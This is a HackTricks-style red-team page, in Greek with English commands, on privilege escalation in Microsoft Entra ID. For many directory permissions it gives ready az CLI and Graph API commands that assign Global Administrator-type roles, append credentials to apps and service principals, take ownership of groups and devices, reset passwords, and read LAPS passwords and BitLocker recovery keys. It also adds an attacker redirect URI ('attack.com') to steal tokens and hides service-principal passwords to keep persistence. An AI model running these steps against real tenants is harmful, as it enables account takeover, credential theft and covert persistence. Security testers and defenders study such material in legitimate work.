Az - EntraID Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Σημειώστε ότι όχι όλες οι λεπτομερείς άδειες που έχουν οι ενσωματωμένοι ρόλοι στο Entra ID είναι επιλέξιμες για χρήση σε προσαρμοσμένους ρόλους.

Ρόλοι

Ρόλος: Διαχειριστής Ρόλων με Προνομία

Αυτός ο ρόλος περιέχει τις απαραίτητες λεπτομερείς άδειες για να μπορεί να αναθέτει ρόλους σε κύριους και να δίνει περισσότερες άδειες σε ρόλους. Και οι δύο ενέργειες θα μπορούσαν να καταχραστούν για να κλιμακωθούν τα προνόμια.

• Ανάθεση ρόλου σε χρήστη:

# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

• Προσθέστε περισσότερες άδειες σε έναν ρόλο:

# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Εφαρμογές

microsoft.directory/applications/credentials/update

Αυτό επιτρέπει σε έναν επιτιθέμενο να προσθέσει διαπιστευτήρια (κωδικούς πρόσβασης ή πιστοποιητικά) σε υπάρχουσες εφαρμογές. Εάν η εφαρμογή έχει προνομιακές άδειες, ο επιτιθέμενος μπορεί να αυθεντικοποιηθεί ως αυτή η εφαρμογή και να αποκτήσει αυτά τα προνόμια.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Αυτό επιτρέπει τις ίδιες ενέργειες όπως το applications/credentials/update, αλλά περιορισμένο σε εφαρμογές μίας μόνο διεύθυνσης.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Με την προσθήκη του εαυτού τους ως ιδιοκτήτη, ένας επιτιθέμενος μπορεί να χειριστεί την εφαρμογή, συμπεριλαμβανομένων των διαπιστευτηρίων και των δικαιωμάτων.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Ένας επιτιθέμενος μπορεί να προσθέσει μια διεύθυνση URI ανακατεύθυνσης σε εφαρμογές που χρησιμοποιούνται από τους χρήστες του ενοικιαστή και στη συνέχεια να μοιραστεί μαζί τους διευθύνσεις URL σύνδεσης που χρησιμοποιούν τη νέα διεύθυνση ανακατεύθυνσης προκειμένου να κλέψει τα διακριτικά τους. Σημειώστε ότι αν ο χρήστης ήταν ήδη συνδεδεμένος στην εφαρμογή, η αυθεντικοποίηση θα είναι αυτόματη χωρίς να χρειάζεται ο χρήστης να αποδεχτεί οτιδήποτε.

Σημειώστε ότι είναι επίσης δυνατό να αλλάξετε τις άδειες που ζητά η εφαρμογή προκειμένου να αποκτήσετε περισσότερες άδειες, αλλά σε αυτή την περίπτωση ο χρήστης θα χρειαστεί να αποδεχτεί ξανά την προτροπή που ζητά όλες τις άδειες.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Service Principals

microsoft.directory/servicePrincipals/credentials/update

Αυτό επιτρέπει σε έναν επιτιθέμενο να προσθέσει διαπιστευτήρια σε υπάρχοντες υπηρεσιακούς κύριους. Εάν ο υπηρεσιακός κύριος έχει ανυψωμένα δικαιώματα, ο επιτιθέμενος μπορεί να αναλάβει αυτά τα δικαιώματα.

az ad sp credential reset --id <sp-id> --append

Ο νέος κωδικός πρόσβασης που δημιουργείται δεν θα εμφανίζεται στην κονσόλα ιστού, οπότε αυτό θα μπορούσε να είναι ένας κρυφός τρόπος για να διατηρήσετε την επιμονή σε έναν υπηρεσιακό κύριο. Από το API μπορούν να βρεθούν με: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Αν λάβετε το σφάλμα "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." είναι επειδή δεν είναι δυνατή η τροποποίηση της ιδιότητας passwordCredentials του SP και πρώτα πρέπει να το ξεκλειδώσετε. Για αυτό χρειάζεστε μια άδεια (microsoft.directory/applications/allProperties/update) που σας επιτρέπει να εκτελέσετε:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Αυτό επιτρέπει σε έναν επιτιθέμενο να προσθέσει διαπιστευτήρια σε υπάρχοντες υπηρεσιακούς κύριους. Εάν ο υπηρεσιακός κύριος έχει ανυψωμένα δικαιώματα, ο επιτιθέμενος μπορεί να αναλάβει αυτά τα δικαιώματα.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Παρόμοια με τις εφαρμογές, αυτή η άδεια επιτρέπει την προσθήκη περισσότερων ιδιοκτητών σε ένα service principal. Η κατοχή ενός service principal επιτρέπει τον έλεγχο των διαπιστευτηρίων και των αδειών του.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Αφού πρόσθεσα έναν νέο ιδιοκτήτη, προσπάθησα να τον αφαιρέσω αλλά η API απάντησε ότι η μέθοδος DELETE δεν υποστηρίζεται, ακόμα και αν είναι η μέθοδος που πρέπει να χρησιμοποιήσεις για να αφαιρέσεις τον ιδιοκτήτη. Έτσι, δεν μπορείς να αφαιρέσεις ιδιοκτήτες σήμερα.

microsoft.directory/servicePrincipals/disable και enable

Αυτές οι άδειες επιτρέπουν την απενεργοποίηση και την ενεργοποίηση υπηρεσιακών αρχών. Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτή την άδεια για να ενεργοποιήσει μια υπηρεσιακή αρχή στην οποία θα μπορούσε να αποκτήσει πρόσβαση με κάποιο τρόπο για να κλιμακώσει τα προνόμια.

Σημειώστε ότι για αυτή την τεχνική, ο επιτιθέμενος θα χρειαστεί περισσότερες άδειες προκειμένου να αναλάβει την ενεργοποιημένη υπηρεσιακή αρχή.

bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Αυτές οι άδειες επιτρέπουν τη δημιουργία και την απόκτηση διαπιστευτηρίων για single sign-on, τα οποία θα μπορούσαν να επιτρέψουν πρόσβαση σε εφαρμογές τρίτων.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

---

Ομάδες

microsoft.directory/groups/allProperties/update

Αυτή η άδεια επιτρέπει την προσθήκη χρηστών σε προνομιούχες ομάδες, οδηγώντας σε κλιμάκωση προνομίων.

az ad group member add --group <GroupName> --member-id <UserId>

Σημείωση: Αυτή η άδεια εξαιρεί τις ομάδες που μπορούν να ανατεθούν ρόλοι Entra ID.

microsoft.directory/groups/owners/update

Αυτή η άδεια επιτρέπει να γίνετε ιδιοκτήτης ομάδων. Ένας ιδιοκτήτης ομάδας μπορεί να ελέγχει τη συμμετοχή και τις ρυθμίσεις της ομάδας, ενδεχομένως αυξάνοντας τα προνόμια στην ομάδα.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Σημείωση: Αυτή η άδεια εξαιρεί τις ομάδες που μπορούν να ανατεθούν ρόλοι Entra ID.

microsoft.directory/groups/members/update

Αυτή η άδεια επιτρέπει την προσθήκη μελών σε μια ομάδα. Ένας επιτιθέμενος θα μπορούσε να προσθέσει τον εαυτό του ή κακόβουλους λογαριασμούς σε προνομιούχες ομάδες, γεγονός που μπορεί να παραχωρήσει αυξημένη πρόσβαση.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Αυτή η άδεια επιτρέπει την ενημέρωση του κανόνα μέλους σε μια δυναμική ομάδα. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τους δυναμικούς κανόνες για να συμπεριληφθεί σε προνομιούχες ομάδες χωρίς ρητή προσθήκη.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Σημείωση: Αυτή η άδεια εξαιρεί τις ομάδες ρόλων που είναι αναθέσιμες στο Entra ID.

Δυναμικές Ομάδες Privesc

Ενδέχεται να είναι δυνατό για τους χρήστες να αναβαθμίσουν τα δικαιώματά τους τροποποιώντας τις δικές τους ιδιότητες ώστε να προστεθούν ως μέλη δυναμικών ομάδων. Για περισσότερες πληροφορίες, ελέγξτε:

Az - Dynamic Groups Privesc

Χρήστες

microsoft.directory/users/password/update

Αυτή η άδεια επιτρέπει την επαναφορά κωδικού πρόσβασης σε μη διαχειριστές χρήστες, επιτρέποντας σε έναν πιθανό επιτιθέμενο να αναβαθμίσει τα δικαιώματα σε άλλους χρήστες. Αυτή η άδεια δεν μπορεί να ανατεθεί σε προσαρμοσμένους ρόλους.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Αυτή η άδεια επιτρέπει την τροποποίηση των ιδιοτήτων του χρήστη. Είναι συνηθισμένο να βρίσκουμε δυναμικές ομάδες που προσθέτουν χρήστες με βάση τις τιμές των ιδιοτήτων, επομένως, αυτή η άδεια θα μπορούσε να επιτρέψει σε έναν χρήστη να ορίσει την απαραίτητη τιμή ιδιότητας για να είναι μέλος μιας συγκεκριμένης δυναμικής ομάδας και να κλιμακώσει τα προνόμια.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Πολιτικές Προσβασιμότητας με Όρους & Παράκαμψη MFA

Λανθασμένα ρυθμισμένες πολιτικές προσβασιμότητας με όρους που απαιτούν MFA θα μπορούσαν να παρακαμφθούν, ελέγξτε:

Az - Conditional Access Policies & MFA Bypass

Συσκευές

microsoft.directory/devices/registeredOwners/update

Αυτή η άδεια επιτρέπει στους επιτιθέμενους να αναθέτουν τους εαυτούς τους ως ιδιοκτήτες συσκευών για να αποκτήσουν έλεγχο ή πρόσβαση σε ρυθμίσεις και δεδομένα συγκεκριμένα για τη συσκευή.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Αυτή η άδεια επιτρέπει στους επιτιθέμενους να συσχετίσουν τον λογαριασμό τους με συσκευές για να αποκτήσουν πρόσβαση ή να παρακάμψουν τις πολιτικές ασφαλείας.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Αυτή η άδεια επιτρέπει στους επιτιθέμενους να διαβάσουν τις ιδιότητες των αποθηκευμένων διαπιστευτηρίων τοπικού διαχειριστή για συσκευές που είναι συνδεδεμένες με το Microsoft Entra, συμπεριλαμβανομένου του κωδικού πρόσβασης

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Αυτή η άδεια επιτρέπει την πρόσβαση σε κλειδιά BitLocker, τα οποία θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να αποκρυπτογραφήσει δίσκους, θέτοντας σε κίνδυνο την εμπιστευτικότητα των δεδομένων.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Άλλες Ενδιαφέρουσες άδειες (TODO)

• microsoft.directory/applications/permissions/update

• microsoft.directory/servicePrincipals/permissions/update

• microsoft.directory/applications.myOrganization/allProperties/update

• microsoft.directory/applications/allProperties/update

• microsoft.directory/servicePrincipals/appRoleAssignedTo/update

• microsoft.directory/applications/appRoles/update

• microsoft.directory/applications.myOrganization/permissions/update

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.